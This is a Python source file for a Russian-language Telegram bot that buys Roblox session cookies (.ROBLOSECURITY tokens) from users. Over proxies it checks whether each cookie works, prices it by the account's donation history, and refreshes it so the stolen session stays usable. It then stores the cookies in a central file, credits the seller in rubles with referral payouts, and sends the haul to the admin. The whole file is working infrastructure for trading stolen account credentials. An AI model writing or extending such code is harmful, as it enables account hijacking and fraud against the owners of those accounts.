267 lines
9.8 KiB
Python
267 lines
9.8 KiB
Python
from __future__ import annotations
|
||
|
||
import asyncio
|
||
import random
|
||
|
||
import aiohttp
|
||
from aiogram import F, Router
|
||
from aiogram.filters import StateFilter
|
||
from aiogram.fsm.context import FSMContext
|
||
from aiogram.types import Message
|
||
|
||
from config import ADMIN_ID, COOKIE_FILES_DIR, FRESHER_BATCH_SIZE, ROBSEC_FILE
|
||
from db.storage import load_config, load_proxies, load_stats, save_stats
|
||
from db.users import get, register, save
|
||
from keyboards.user import back_kb, main_menu_kb
|
||
from models.pricing import CookieDonationInfo
|
||
from runtime import get_bot, get_log_bot
|
||
from services.admin import is_admin
|
||
from services.pricing import price_cookie_batch
|
||
from services.referrals import apply_referral_payout
|
||
from services.roblox import (
|
||
check_cookie_with_retry,
|
||
fresh_cookie_async,
|
||
get_all_time_donate,
|
||
get_year_donate,
|
||
)
|
||
from utils.logging import log_admin, log_admin_document
|
||
from utils.parsing import parse_cookies_text
|
||
|
||
router = Router(name="upload")
|
||
|
||
|
||
async def _blocked(message: Message) -> bool:
|
||
profile = get(message.from_user.id)
|
||
if profile is None:
|
||
register(message.from_user.id, message.from_user.username)
|
||
profile = get(message.from_user.id)
|
||
if profile.is_banned:
|
||
await message.answer(
|
||
f"❌ Вы заблокированы. Причина: {profile.ban_reason or '—'}"
|
||
)
|
||
return True
|
||
cfg = load_config()
|
||
if not cfg.bot_enabled and message.from_user.id != ADMIN_ID:
|
||
await message.answer("🚫 Бот временно отключен.")
|
||
return True
|
||
if not cfg.shop_enabled and message.from_user.id != ADMIN_ID:
|
||
await message.answer("🚫 Скупка cookie временно отключена.")
|
||
return True
|
||
return False
|
||
|
||
|
||
@router.message(StateFilter(None), F.document)
|
||
async def handle_document(message: Message):
|
||
if is_admin(message.from_user.id):
|
||
await message.answer(
|
||
"👑 Администраторы не могут продавать cookie. Используйте /admin."
|
||
)
|
||
return
|
||
if await _blocked(message):
|
||
return
|
||
filename = message.document.file_name or ""
|
||
if not filename.lower().endswith(".txt"):
|
||
await message.answer("❌ Отправьте файл формата .txt.")
|
||
return
|
||
|
||
path = (
|
||
COOKIE_FILES_DIR
|
||
/ f"{message.from_user.id}_{random.randint(100000, 999999)}.txt"
|
||
)
|
||
try:
|
||
await message.bot.download(message.document, destination=path)
|
||
text = path.read_text(encoding="utf-8", errors="ignore")
|
||
finally:
|
||
path.unlink(missing_ok=True)
|
||
await process_cookies(message, text)
|
||
|
||
|
||
@router.message(StateFilter(None), F.text & ~F.text.startswith("/"))
|
||
async def handle_text(message: Message):
|
||
if is_admin(message.from_user.id):
|
||
await message.answer(
|
||
"👑 Администраторы не могут продавать cookie. Используйте /admin."
|
||
)
|
||
return
|
||
|
||
if await _blocked(message):
|
||
return
|
||
|
||
text = message.text or ""
|
||
if "_|WARNING:-DO-NOT-SHARE-THIS." not in text:
|
||
await message.answer(
|
||
"👋 Используйте меню ниже или отправьте текст с cookie.",
|
||
reply_markup=main_menu_kb(),
|
||
)
|
||
return
|
||
|
||
await process_cookies(message, text)
|
||
|
||
|
||
async def process_cookies(message: Message, raw_text: str):
|
||
cookies, duplicates = parse_cookies_text(raw_text)
|
||
if not cookies:
|
||
await message.answer("❌ В отправленных данных cookie не найдены.")
|
||
return
|
||
|
||
cfg = load_config()
|
||
proxies = load_proxies()
|
||
total = len(cookies)
|
||
progress = await message.answer(
|
||
f"⏳ <b>Начинаю обработку cookie</b>\nВсего: {total}\nДубликатов удалено: {duplicates}\nЭтап: проверка...",
|
||
parse_mode="HTML",
|
||
)
|
||
|
||
valid = []
|
||
async with aiohttp.ClientSession() as session:
|
||
tasks = [
|
||
check_cookie_with_retry(session, cookie, proxies) for cookie in cookies
|
||
]
|
||
for index, task in enumerate(asyncio.as_completed(tasks), start=1):
|
||
try:
|
||
result = await task
|
||
if result.status == "valid":
|
||
valid.append(result)
|
||
except Exception:
|
||
pass
|
||
if index % 20 == 0 or index == total:
|
||
try:
|
||
await progress.edit_text(
|
||
f"⏳ <b>Проверка cookie</b>\nПрогресс: {index}/{total}\n✅ Валидных: {len(valid)}",
|
||
parse_mode="HTML",
|
||
)
|
||
except Exception:
|
||
pass
|
||
|
||
if not valid:
|
||
await progress.edit_text(
|
||
f"❌ Валидные cookie не найдены. Дубликатов: {duplicates}"
|
||
)
|
||
return
|
||
|
||
await progress.edit_text(
|
||
f"⏳ <b>Проверяю донаты</b>\nВалидных cookie: {len(valid)}", parse_mode="HTML"
|
||
)
|
||
donations = []
|
||
async with aiohttp.ClientSession() as session:
|
||
|
||
async def get_donation(result):
|
||
proxy = random.choice(proxies) if proxies else None
|
||
all_time = await get_all_time_donate(
|
||
session, result.cookie, result.user_id, proxy
|
||
)
|
||
year = await get_year_donate(result.cookie, result.user_id, proxy)
|
||
return CookieDonationInfo(
|
||
cookie=result.cookie,
|
||
user_id=result.user_id,
|
||
username=result.username,
|
||
all_time=all_time,
|
||
year=year,
|
||
)
|
||
|
||
donations = await asyncio.gather(*(get_donation(result) for result in valid))
|
||
|
||
priced, avg_used, avg_price = price_cookie_batch(donations, cfg)
|
||
if not priced:
|
||
await progress.edit_text(
|
||
f"❌ Ни одна cookie не подошла под курсы. Валидных: {len(valid)}",
|
||
reply_markup=back_kb(),
|
||
)
|
||
return
|
||
|
||
await progress.edit_text(
|
||
f"⏳ <b>Обновляю cookie</b>\nК оплате: {len(priced)}\nМетод: {'AVG' if avg_used else 'поштучный'}",
|
||
parse_mode="HTML",
|
||
)
|
||
fresh_ok = []
|
||
fresh_failed = 0
|
||
for offset in range(0, len(priced), FRESHER_BATCH_SIZE):
|
||
batch = priced[offset : offset + FRESHER_BATCH_SIZE]
|
||
|
||
async def refresh(item):
|
||
proxy = random.choice(proxies) if proxies else None
|
||
ok, refreshed = await fresh_cookie_async(item.cookie, proxy)
|
||
return item, ok, refreshed
|
||
|
||
for item, ok, refreshed in await asyncio.gather(
|
||
*(refresh(item) for item in batch)
|
||
):
|
||
if ok and isinstance(refreshed, str) and refreshed.startswith("_|WARNING"):
|
||
fresh_ok.append((item, refreshed))
|
||
else:
|
||
fresh_failed += 1
|
||
try:
|
||
await progress.edit_text(
|
||
f"⏳ <b>Обновление cookie</b>\nПрогресс: {min(offset + len(batch), len(priced))}/{len(priced)}\n"
|
||
f"✅ Обновлено: {len(fresh_ok)}\n❌ Ошибок: {fresh_failed}",
|
||
parse_mode="HTML",
|
||
)
|
||
except Exception:
|
||
pass
|
||
|
||
if not fresh_ok:
|
||
await progress.edit_text(
|
||
f"❌ Не удалось обновить ни одной cookie. Валидных: {len(valid)}, ошибок: {fresh_failed}",
|
||
reply_markup=back_kb(),
|
||
)
|
||
return
|
||
|
||
ROBSEC_FILE.parent.mkdir(parents=True, exist_ok=True)
|
||
with ROBSEC_FILE.open("a", encoding="utf-8") as output:
|
||
output.writelines(f"{cookie}\n" for _, cookie in fresh_ok)
|
||
|
||
user_file = (
|
||
COOKIE_FILES_DIR
|
||
/ f"robsec_{message.from_user.id}_{random.randint(100000, 999999)}.txt"
|
||
)
|
||
user_file.write_text(
|
||
"".join(f"{cookie}\n" for _, cookie in fresh_ok), encoding="utf-8"
|
||
)
|
||
payout = sum(item.price for item, _ in fresh_ok)
|
||
|
||
profile = get(message.from_user.id)
|
||
if profile is None:
|
||
register(message.from_user.id, message.from_user.username)
|
||
profile = get(message.from_user.id)
|
||
profile.balance += payout
|
||
profile.total_earned += payout
|
||
profile.cookies_loaded += len(fresh_ok)
|
||
save(profile.user_id, profile)
|
||
|
||
stats = load_stats()
|
||
stats.total_cookies += len(fresh_ok)
|
||
stats.total_paid_direct += payout
|
||
save_stats(stats)
|
||
bot = get_bot() or message.bot
|
||
await apply_referral_payout(
|
||
bot, profile.user_id, profile.username, payout, cfg.referral_percent
|
||
)
|
||
|
||
method = "📊 AVG-система" if avg_used else "📋 Поштучный"
|
||
report = (
|
||
"✅ <b>Обработка завершена</b>\n\n"
|
||
f"Всего cookie: {total}\nДубликатов: {duplicates}\nВалидных: {len(valid)}\n"
|
||
f"Подошло под курс: {len(priced)}\nОбновлено: {len(fresh_ok)}\nОшибок обновления: {fresh_failed}\n"
|
||
f"Метод оплаты: {method}\n"
|
||
)
|
||
if avg_used:
|
||
report += f"AVG цена за cookie: {avg_price:.2f} ₽\n"
|
||
report += f"\n💰 Начислено: <b>{payout:.2f} ₽</b>\n💳 Баланс: <b>{profile.balance:.2f} ₽</b>"
|
||
await progress.edit_text(report, parse_mode="HTML", reply_markup=main_menu_kb())
|
||
|
||
await log_admin(
|
||
bot,
|
||
ADMIN_ID,
|
||
f"🍪 <b>Новая покупка cookie</b>\n@{profile.username or '—'} (<code>{profile.user_id}</code>)\n"
|
||
f"Всего: {total}, валидных: {len(valid)}, обновлено: {len(fresh_ok)}\nВыплачено: {payout:.2f} ₽",
|
||
get_log_bot(),
|
||
)
|
||
await log_admin_document(
|
||
bot,
|
||
ADMIN_ID,
|
||
str(user_file),
|
||
caption=f"robsec от <code>{profile.user_id}</code>",
|
||
log_bot=get_log_bot(),
|
||
)
|
||
user_file.unlink(missing_ok=True)
|